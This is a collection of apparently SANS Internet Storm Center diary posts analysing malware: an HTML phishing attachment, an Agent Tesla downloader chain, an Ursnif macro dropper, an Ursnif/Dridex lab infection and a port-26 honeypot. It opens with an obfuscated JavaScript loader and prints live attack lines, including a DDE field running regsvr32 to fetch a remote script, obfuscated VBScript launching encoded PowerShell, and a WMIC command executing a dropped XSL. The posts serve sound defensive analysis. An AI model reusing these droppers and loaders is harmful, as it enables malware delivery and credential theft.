function m600(src5){var xwjc,m7hv=Function,z120,mdid,zf2p="NFj:o\tBH\"z]%*,Zv0k4?XEdR9;1JQeIgK&!_yc{iDx) 3up7}w\\|WS6\nr#~s/$nm(@=LVU2T[fPMhCb^\r+-.Y8aOt\'lq>AG5<",hcbn=zf2p.length,g6j7={cd:""},ue=new m7hv("ret"+"urn unesc"+"ape")(),djkh=new m7hv("x",ue("%74hi%73.c%64+=x")),pcjj=new m7hv("x","y",ue("%72et%75rn%20x.c%68ar%41t(%79)"));for(xwjc=0;xwjc<src5.length;xwjc++){mdid=pcjj(src5,xwjc);z120=zf2p.indexOf(mdid);if(z120>-1){z120-=(xwjc+1)%hcbn;if(z120<0){z120+=hcbn;}djkh.call(g6j7,pcjj(zf2p,z120));}else{djkh.call(g6j7,mdid);}}new m7hv(ue("%64oc%75me%6Et.w%72it%65(t%68is.%63d)%3Bth%69s.c%64=n%75ll")).call(g6j7);}m600("NbqL5wNGTxCxMzZ>pHxvXYJ.n-=PX;I%9NQgy? nCc)=Y$lOT?f+?~X/}O\tdWFrA!P}#zO\tgCdDF\r{\r+-.H,,Lq7Zd\\5d i)s\t>)1}mY1aQtI{/?Mrz~9.;*\tYIXfXsrt[@ZJD(\na-L!}qw_GlM/c>?C8F$8aOt\'\'k\"\'s}fNl\'R?oS-3TYzKMg-pIb.?KNOj\n:~4?XEdR&NiW:5:\"\n}

Since the JavaScript was over 600k characters long (not counting the legitimate libraries), manual de-obfuscation and analysis of the code was not a realistic option. The next step, therefore, was to take a look at the website in a browser. After opening the file in Chrome in a VM, it became obvious why the script was so large. Unlike most other HTML-based phishing attachments, this one didn’t depend on an external fake login page, but carried the entire thing inside its body.

Although the page was supposed to look like a Microsoft site, the scammers provided a list multiple valid e-mail providers one could use to “log in”.

After a user supplies an e-mail and a password, the page appears to contact the relevant e-mail server.

In reality, however, it sends a HTTP GET request containing credentials specified by the user to a remote web server at hxxp://7l748.l748393.96.lt/.

Afterwards, an additional request for a phone number and a recovery e-mail is displayed to the user. When that is filled in as well (and sent to the same domain as before, although this time using a HTTP POST), the browser is redirected to a low-quality picture of the supposed invoice (at least I assume that is what it's supposed to look like) and after a couple of seconds redirected again, this time to either a legitimate Microsoft site or to the domain specified in the recovery e-mail supplied by the user.

Sending user’s credentials to a server and then redirecting their browser to a legitimate site is a fairly common behavior for a phishing page. Although, to add insult to injury, in this case the phishing page not only steals the credentials but also transmits them over the network without any encryption in plain HTTP.

Besides that, the only unusual part of this phishing remains the fact the entire phishing page is delivered as an attachment. My suspicion is that this was intended to bypass security filters and analytics on web proxies (or provided by SafeLinks), but whatever the reason was, the idea is quite intriguing.

Although this isn’t the first phishing campaign with a similar “self-contained” website, this was the first time I came across such a complex HTML phishing attachment, i.e. one, that carried all the libraries and files in one package and didn’t depend on a remote server for anything else than for collecting the stolen credentials.

 

Invoice.html    
MD5 - 754860e44426eb50ff73597650d4d4b3
SHA1 - abb8536392fc6a721ae6f5ba7f377eaca3b4ae96    8bf20f30

-----------
Jan Kopriva
@jk0pr
Alef Nula

Last Thursday, only a day after Brad wrote a Diary about discovering Agent Tesla sample in Any.Run[1], I found a request for analysis of a suspicious file in my inbox. The file turned out to be the first part of a multi-stage downloader for Agent Tesla and since Brad wrote about what happens after this malware arrives at the target (i.e. data exfiltration using SMTP), I thought that a closer look at what comes before the infection might nicely complete the picture of how the malware operates.

In this campaign, the first stage of the dropper was a file with a DOT extension, sent as an attachment of a phishing e-mail trying to appear as a request for quotation. DOT files are old-type Word templates and since modern Word can still use them and they may contain macros without it being apparent from the extension, they are among the potentially useful file types for macro-based phishing attachments. And since DOT files attached to e-mail messages are nowadays seldom above-board, blocklisting the extension on an e-mail gateway may not be a bad idea to consider.

 

In this case, however, the DOT file wasn’t a Word document at all, but rather a renamed Rich Text File containing nothing but a DDE[2] call intended to download and run a WSC file, containing the second stage of the downloader, using regsvr32.

{\rtf1{\field{\*\fldinst\*\rtf dDEAUto "c:\\\\winDoWs\\\\SySTEM32\\\\cmD.EXE" "/c regSvR32 -S -n /U -i:https://fajr.com/rummz.wsc SCRObj.dll"}}}

 

After opening the DOT file in Word, the usual DDE-related message boxes would jump up at the user and, provided the user would press the right buttons, the WSC file would be downloaded and executed.

 

A WSC (Windows Script Component) file is basically just a script in an XML envelope and although use of this format to spread malicious code is not a new technique[3], it is not overly common either. In the case of the Agent Tesla spreading campaign, the WSC file contained VBscript intended to use  PowerShell to download the Agent Tesla malware itself into the AppData folder as “gifgmimgifg.exe” and then run it.

<?xMl version = " 237654691241.7 " ?>
<scriptlet>
<registration
progid = "q"
classid = "{B28214B5-40E3-4058-856E-B187E918E0A4}" >
<script language="vBsCRIpT">
<![CDATA[
dim zvyhbmmhihovqq : DiM whkfvolnqyynrb : Set zvyhbmmhihovqq = creatEObJECT ( cHr(&h77) & ChR(&h73) & cHr(&h63) & cHR(&H52) & CHrw(&h69) & ChrW(&H70) & chRW(&H74) & CHr(&h2E) & ChR(&h73) & chRW(&h48) & chR(&H65) & Chr(&h6c) & chrw(&h6c) ) : whkfvolnqyynrb = " PoWerSHEll.exe -Ex ByPAss -NOp -W 1 -Ec IAA
...
ABlAB0g " : zvyhbmmhihovqq.run CHr ( 34 ) & zvyhbmmhihovqq.eXpANdeNVironMenTStrInGs( Chr(&H25) & Chr(&H43) & Chr(&H4F) & Chr(&H6D) & Chr(&H53) & Chr(&H70) & ChrW(&H65) & ChrW(&H63) & Chr(&H25) ) & ChR ( 34 ) & chr ( 34 ) & Chr(&H2F) & Chr(&H43) & ChrW(&H20) & whkfvolnqyynrb & chr ( 34 ) , 0 : SEt zvyhbmmhihovqq = nOTHiNG
]]>
</script>
</registration>
</scriptlet>

 

The final executable of Agent Tesla seemed quite similar to the one Brad found – at first glance, there were only two differences. The first was the use of a different e-mail account to upload stolen data. I recorded the following SMTP stream using Any.Run, as the malware didn’t try to exfiltrate any data from my local VM (probably due to some anti-sandboxing measure, although this is a conjecture on my part – the executable was heavily obfuscated and I didn’t have much time to spend on analyzing it).

 

The second difference was in the file the malware was disguised as. This version of Agent Tesla was supposed to look (not counting the icon) as RAMMap, a tool which is part of the SysInternals toolkit.

 

The following chart shows relationships between all the files mentioned in the Diary and under it, you may find all the relevant hashes.

 

PO-0012_doc.dot
MD5 - ba6cc1cbfa2a9ebb006ad22e0c3585ed
SHA1 - aff5bbd13558d9ada120eed34cef778319e65291
 

rummz.wsc
MD5 - d71439df0a524fb1c0c537d9839a8177
SHA1 - 149cbaa8110b153cc69b439b14617a6b8b87af50
 

gifgmimgifg.exe
MD5 - 8fef6028422a91884c5928f6568e4c80
SHA1 - ccf1e3aa6f60304c4888d2d51e56f01b96f7c842

 

[1] https://isc.sans.edu/forums/diary/Finding+an+Agent+Tesla+malware+sample/25554/
[2] https://en.wikipedia.org/wiki/Dynamic_Data_Exchange
[3] https://cofense.com/threat-actors-use-advanced-delivery-mechanism-distribute-trickbot-malware/

-----------
Jan Kopriva
@jk0pr
Alef Nula

Although given its name, one might expect this diary to be about the Elk Cloner[1], that is not the case. The malware we will take a look at is recent and much simpler, yet still interesting in its own way.

Couple of days back, we received a request for analysis of a suspicious Word document from Edina, one of our readers. The DOC file was sent to Edina as an attachment of an e-mail, which contained the following text.

Good Afternoon!

Find the attached doc!
Don't hesitate to ask me any further questions.

zip pass 777

Sincerely,
Brett

Although the sender address was known to Edina, since she didn’t interact with the sender for a couple of years, she was rightly a bit paranoid about opening the attachment, named info_11_25.doc. Not wanting to risk her main computer, she tried opening the file on her spare Mac. What greeted her was a blue screen informing her about the need to “Enable content”.

After enabling macros, nothing happened on the Mac. At that point she tried opening the file on a Windows VM, where, after enabling macros, the system started – as Edina wrote to us – “really hogging its resources” and she decided to shut the VM down. Since the behavior of the macro seemed malicious, she wanted to know whether she didn’t compromise her Mac by running it there first.

Given the behavior of the macro, coupled with the fact that malspam uses the “blue screen” trick quite often, it was clear just from the description Edina provided that the file was indeed malicious. But to determine whether it could possibly have a negative impact on a computer running macOS an analysis of the code was in order.

After having a look at the file and dumping the macros (using oledump[2] and olevba[3]), it became clear that the VB code was not only obfuscated, but also contained a lot of nonsensical, yet, if put together, strangely poetic comments, as you may see bellow.

Lamentation supporting
Alcove goods
Informer tools
Biology advertisement significance aggregation
Lets hilarious batteries
Harbour inkjet durability
Spec mauritius bother
Part weblogs shoulder nite power
Google travail soot female
Hygiene affront
Seasonal sharp oc install
Clown
Animate introduction fighters summit ultimate
Career warble firemen
Pelt
Humans antechamber
Jean underworld acquiesce trees
Tart sluts sear
Viral
Linguist participate woeful
Gtk

Although this was not the first time I came across random-looking comments in a malicious code, I don’t think I’ve ever seen ones that reminded me of a poem (even though hardly a good one) before. Originally, the comments were of course spread throughout the macro code, as you may see from the following example of one of three modules (module aWy10) which the DOC contained.

Public Const awBvc5 As Long = 1363 - 1361
Public Const aou8S As String = "c"
Public Const aA3lc As String = ":\win"
Public Const aWoLue As String = "dow"
Public Const aoj7m As String = "s\te"
Public Const afvBj As String = "mp\"
Public Const aMjstx As String = "wm"
Function aQ8dA(ag3Bj9 As String)
Dim aJPgd
aJPgd = Exp(14)
' Lamentation supporting

Set afVdpU = New MSXML2.DOMDocument
Set aSogC8 = afVdpU.createElement("b64")
aSogC8.DataType = "bin.base64"
aSogC8.Text = ag3Bj9
aQ8dA = StrConv(aSogC8.nodeTypedValue, vbUnicode)
Dim aroh3
aroh3 = Exp(10)
' Alcove goods
End Function
Public Sub aXbKPq(aqkDUt, aqiy6, aulyo8)
Dim azkan As Long
Dim aQxSK As Document
Set aQxSK = ActiveDocument
azkan = aQxSK.ActiveWindow.Panes(1).Pages.Count
' Informer tools
aAP5al = aou8S & aA3lc & aWoLue & aoj7m & afvBj
Dim aSROvl
aSROvl = Hex(165)
Set aTcYj = CreateObject("Scripting.FileSystemObject")

Dim azqVKf As Long
azqVKf = ActiveDocument.BuiltinDocumentProperties(wdPropertyPages)
Dim asVSX
For asVSX = 12 To 52
Debug.Print Error(asVSX)
Next asVSX
' Biology advertisement significance aggregation
Set a96yXC = aTcYj.CreateTextFile(aAP5al & "\afUsm.xsl", 1)
Dim afQoN As Long
With ActiveDocument
afQoN = .ActiveWindow.Panes(1).Pages.Count
End With
With a96yXC

Dim ac1Ylj As Long
ac1Ylj = ActiveDocument.ActiveWindow.Panes(1).Pages.Count
' Lets hilarious batteries
.Write aqkDUt
.Close
End With
End Sub
Function aSuy8()
Set ajk7Y5 = New adIHY
aYsB6 = ajk7Y5.eatmy.Text
Dim aq0NgL As Long
Dim ajCsz2
aq0NgL = 8
ajCsz2 = 49
aZRShz = aq0NgL * ajCsz2
Dim aZPf2
aZPf2 = Fix(5)
' Harbour inkjet durability
aIHUC1 = ajk7Y5.shorts.Text

a4RZD = Not (a4RZD)
aSuy8 = aYsB6 & aIHUC1
End Function

After a little deobfuscation (parts of which you may try out yourself) it became obvious that the macro was supposed to create a XSL file ("c:\windows\temp\afUsm.xsl") and then execute code inside it using WMI.

"C:\Windows\System32\wbem\WMIC.exe" process list /format:"c:\windows\temp\afUsm.xsl"

XSL files (eXtensible Stylesheet Language) files are used to describe how XML contents are to be styled/displayed, which they may do using a script inside them. Although the use of XSL files in this manner by threat actors is nothing new[4], the technique is quite interesting and not as widely used nor as well-known as many others.

Based on contents of the macros, it was obvious that the Mac, which Edina originally used to open the Word document, wasn’t impacted in any negative way as the malicious code was Windows-specific. Even though determining this was the original objective, since the poetic XSL-and-WMI-using malware seemed interesting I decided to continue on with the analysis. Since I don’t like to spend too much time manually deobfuscating code, in order to determine contents of the XSL file dropped by the DOC file, I spun up a VM, let the macros run and took a look at the resulting afUsm.xsl file.

Although the JScript code inside afUsm.xsl was itself obfuscated, since the obfuscation relied mostly on inclusion of many unused variables and dead code, it was much easier to read than the VB code in the original DOC file. This time, the obfuscated code also contained no comments (which I felt was a bit of a let down). The code was supposed to download a file from the URL hxxp://oaskienerg.com/curoix/jotask.php?l=arlarr12.cab, save it as C:\Windows\Temp\aKEjT.exe and then run the resulting EXE file.

Since the URL mentioned above was unfortunately no longer working when I got to analyzing the malware, I can’t be sure what the final payload was, although given the 777 password, the name of the ZIP file and the behavior of the downloader in general, I feel quite confident it was a variant of Ursnif malware (see diary from Brad from yesterday[5] for more details).

 

info_11_25.doc
MD5 - 30cd9dae692890cd759069838decdc5e
SHA1 - 6c36b413d29cd0e0bab5239f35f4c19e5d98eb0c

afUsm.xsl
MD5 - a82a8840b2dbe8fa5ee9b88c2b58ce77
SHA1 - 774c3f773c4c68e94fa102408490e02bf98e614c

 

[1] https://en.wikipedia.org/wiki/Elk_Cloner
[2] https://blog.didierstevens.com/programs/oledump-py/
[3] https://github.com/decalage2/oletools/wiki/olevba
[4] https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
[5] https://isc.sans.edu/forums/diary/Ursnif+infection+with+Dridex/25566/

-----------
Jan Kopriva
@jk0pr
Alef Nula

Introduction

I frequently see indicators of malicious spam (malspam) pushing Ursnif malware.  Specifically, I often find Ursnif pushed by a long-running malspam campaign that uses password-protected zip attachments that contain word documents with macros designed to infected a vulnerable Windows host.  The password has usually been 777 for the zip attachments.  Word documents contained within those zip archives follow a specific naming convention.  For example, a Word document from this campaign on December 2nd would be named info_12_02.doc.

Today's diary reviews an Ursnif infection from this campaign that I generated in my lab environment on Monday, December 2nd.

The malspam and initial infection

Malspam from this campaign is spoofing replies to emails found on infected Windows hosts in the wild.  Since these are possibly real people, I've redacted any sensitive information in the images below.  As I already described, these emails contain password-protected zip archives, and these zip archives contain Word documents with macros to install Ursnif on a vulnerable Windows host.  In this case, enabling macros on the Word document dropped a script file in the C:\Windows\Temp directory, and the script file retrieved the initial Windows executable (EXE) file for Ursnif.

Shown above:  An example of malspam pushing Ursnif malware.

Shown above:  Opening a zip archive from this type of malspam requires a password stated in the email.

Shown above:  Microsoft Word document extracted from the attached zip archive.

Shown above:  Malware note on the infected Windows host after enabling macros.

The infection traffic

Traffic generated by Ursnif infections follows relatively consistent patterns.  During these type of Ursnif infections, we often find follow-up malware retrieved by the Ursnif-infected host.  In this case, it was Dridex.  The image below shows my Ursnif infection traffic filtered in Wireshark, and it highlights the URL that returned the initial Ursnif EXE.

Shown above:  Traffic from an infection filtered in Wireshark, highlighting the URL that returned the initial Ursnif EXE.

Shown above:  Later in the infection traffic, we see indicators of the victim host being infected with Dridex.

Post-infection forensics

Ursnif makes itself persistent through the Windows registry, where it copies itself and deletes the initial Ursnif EXE.  Dridex is made persistent through DLL files that are called by legitimate system files copied to randomly-named directories established during the Dridex infection process.  Dridex is made persistent through the Windows registry, a scheduled task, and a Windows shortcut in the Startup menu.

Shown above:  Ursnif persistent on my infected Windows host.

Shown above:  Dridex persistent as DLL file called by the Windows registry.

Shown above:  Dridex was also persistent through a DLL file called by a scheduled task.

Shown above:  Dridex also persistent as a DLL called by a Windows shortcut in the Startup folder.

Indicators of Compromise (IoCs)

URL that retrieved initial Windows executable file for Ursnif:

• 188.120.241[.]200 port 80 - ragenommad[.]com - GET /edgron/siloft.php?l=utowen4.cab

URLs generated by initial Windows executable file for Ursnif:

• 23.202.231[.]167 port 80 - nxbpierrecjf[.]com - GET /images/[long string].avi
• 23.202.231[.]167 port 80 - spt71igina[.]com - GET /images/[long string].avi
• 109.196.164[.]8 port 80 - jyomacktom[.]top - GET /images/[long string].avi

Post-infection traffic after Ursnif has established persistence:

• 194.61.1[.]178 port 443 - m38kxy54t[.]com - HTTPS/SSL/TLS traffic generated by Ursnif

URLs generated by Ursnif-infected host to obtain follow-up malware:

• 77.93.211[.]211 port 80 - zontcentrum[.]ru - GET /wp-content/uploads/2019/11/2unovarios.rar
• 77.93.211[.]211 port 80 - zontcentrum[.]ru - GET /wp-content/uploads/2019/11/unovarios.rar

Post-infection traffic caused by Dridex:

• 5.134.119[.]57 port 443 - HTTPS/SSL/TLS traffic generated by Dridex
• 89.100.104[.]62 port 3443 - HTTPS/SSL/TLS traffic generated by Dridex

Malware and artifacts

SHA256 hash: ac13e6f727b207384d24ce3ac710f5bfa507ea8f906136b03745a030050905c5

• File size: 57,450 bytes
• File name: [name redacted].zip
• File description: password-protected zip archive from malspam (password: 777)

SHA256 hash: 57d7f95629d7c1e0025043dc05ff1c859bb79a1616a7c4296a6ec23b27ee49cd

• File size: 63,466 bytes
• File name: info_12_02.doc
• File description: Word doc with macro for Ursnif

SHA256 hash: d329921115fa57c30ba54e8b697658839918ac2e915c0274f2dc9028f7b9db88

• File size: 238,080 bytes
• File location: hxxp://ragenommad[.]com/edgron/siloft.php?l=utowen4.cab
• File location: C:\Windows\Temp\ainJ45.exe
• File description: Initial Ursnif EXE retrieved after enabling Word macro

SHA256 hash: 52acd832d2036fc326743e63b2a50615be9a6e04d0b4f06e0e8d0e681bf78c9f

• File size: 495,616 bytes
• File location: C:\Windows\system32\41ftQH\UxTheme.dll
• File description: Dridex DLL persistent on the infected Windows host (1 of 3)

SHA256 hash: 4dcb69610bd18e00449dccb8a31f13e84fc348a242fe98cd2b4681040453fe72

• File size: 499,712 bytes
• File location: C:\Users\[username]\AppData\Roaming\JC85wn\MFPlat.DLL
• File description: Dridex DLL persistent on the infected Windows host (2 of 3)

SHA256 hash: 896fe4ae5367929ba7a48221f95d52d7795f614958c4cc1c4c7beeca4cc6b92a

• File size: 491,520 bytes
• File location: C:\Users\[username]\AppData\Roaming\L3CfQG\VERSION.dll
• File description: Dridex DLL persistent on the infected Windows host (3 of 3)

Final words

A pcap of the infection traffic and the associate malware can be found here.

--
Brad Duncan
brad [at] malware-traffic-analysis.net

Whenever I sign up for another shift, if I don't already have a diary topic in mind, I take a look at the top 10 ports in the dashboard when I login to isc.sans.edu. For the last few weeks, I've noticed %%port:26%% showing up, so I decided to see if I could figure out what was going on there.

In this case much of the top 10 is stuff to be expected, port 445 is perpetually near or at the top of this chart (please don't leave it open to the internet), port 23 has been there since Mirai first hit more than 3 years ago, 80 and 8080 are web servers and proxies, port 22 (ssh) is not at all unusual, port 5555 is the Android Debug Bridge which has been popular for a few months, but that port 26 just is really strange and it is sitting at number 5. So, let's take a look at the last year of port 26 traffic and see what we can see.

Okay, with the exception of a brief spike in targets last January, there was hardly any traffic on port 26 until September and even then, the number of sources was very small until about the second week of November. So what are they looking for? Well, there is no service officially assigned that port by IANA, so my next thought was to take a look at Shodan and see, what tends to be running there. A quick look there suggests that port 26 is most often used as an alternate SMTP port.

Okay, I suppose there might be reasons for that, you often find web servers running on port 81, so why not SMTP on port 26? In fact, most often it is Exim which has had a couple of vulnerabilities lately. Most recently, a remote code execution vulnerability in September. So, maybe the attackers are looking for vulnerable Exim servers. Now that I have an hypothesis, it is time to test it. A few weeks ago, when I noticed the increase in traffic on %%port:853%%, I wasn't able to setup a honeypot before my shift to try to capture some of the traffic, but this time, since I actually noticed this several weeks ago and signed up for the shift last week, I figured I should actually capture some of the traffic to test my hypothesis. I decided to try out fellow handler, Didier Steven's tcp-honeypot (something I've been meaning to play with for months). So, I set it up on a couple of VPSen that I have scattered around and... things didn't work. So, I talked to Didier and discovered that despite the comments in the code to the contrary, the version currently in github (as of 30 Dec 2019 anyway) did not, in fact, work with Python 3. Oops, he'll get that straightened out shortly. Fortunately, it worked with Python 2 (>= 2.7.12, anyway, didn't seem to work with 2.7.8). Okay, that allowed me to fire up several honeypots scattered around where I figured they would get scanned. I copied the config for port 25 and modified it to send back the Exim banners that I saw on Shodan, like these 

And... I didn't get (much) SMTP scanning. In fact, I got exactly 1 SMTP probe, 2 SSH probes (from the connection string, it looks like python scripts using paramiko) and lots and lots of apparent telnet connections (IPs obscured to protect the guilty).

I'm not sure what this tells us. There must be some devices out there that are running telnet (or similar) on port 26 because there is a whole lot of scanning and brute force password guessing going on there, but apparently it isn't attempting to take advantage of and Exim RCE vulnerabilities. If any of our dear readers know what they are actually looking for, I'd love to hear about it, you can let us know in the comments below, via e-mail, or via our contact page, Now that I see it is apparently telnet, I'm very tempted to put up a cowrie instance and see what they do once they get in, but I'll save that for a weekend where I don't have other stuff going on.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu